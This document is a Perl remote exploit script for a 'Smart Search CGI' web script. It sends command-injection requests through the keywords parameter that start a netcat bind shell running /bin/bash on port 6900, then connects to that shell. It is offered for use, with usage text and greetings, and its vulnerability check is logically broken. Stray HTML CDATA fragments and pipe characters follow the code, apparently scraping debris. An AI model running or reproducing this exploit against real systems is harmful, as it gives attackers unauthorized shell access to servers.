#!/usr/bin/perl -w
#
# Smart Search CGI Remote Exploit by: Knight420
#
# Greetz: echo, qubit, lkm, omega, borgon
#
use IO::Socket;
if ($#ARGV<0)
{
print "\nSmart Search CGI Remote Exploit by: Knight420";
print "\n\n Usage: perl smartass.pl ip path\n\n";
exit;
}
$elite = ("GET
$ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash|
HTTP/1.0");
$check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
print "Smart Search CGI Remote Exploit by: knight420";
print "\n*** [1] Checking if remote host is vulnerable...";
print $connect "$check";
if ($#connect<0)
{
print "\n*** [*] Remote host is not vulnerable... \n";
exit;
}
print "\n *** [2] Host is vulnerable...Sending exploit code";
print $connect "$elite";
system('nc -v $ARGV[0] 6900 ');
close($connect);
|
|
|
|
<![CDATA[<p id="vvttv"></p>]]>
|
|
<![CDATA[<p id="vvttv"></p>]]> |
<![CDATA[<p id="vvttv"></p>]]>
<![CDATA[<pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>]]>
|
<![CDATA[<output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>]]>
<![CDATA[<p id="vvttv"></p>]]> |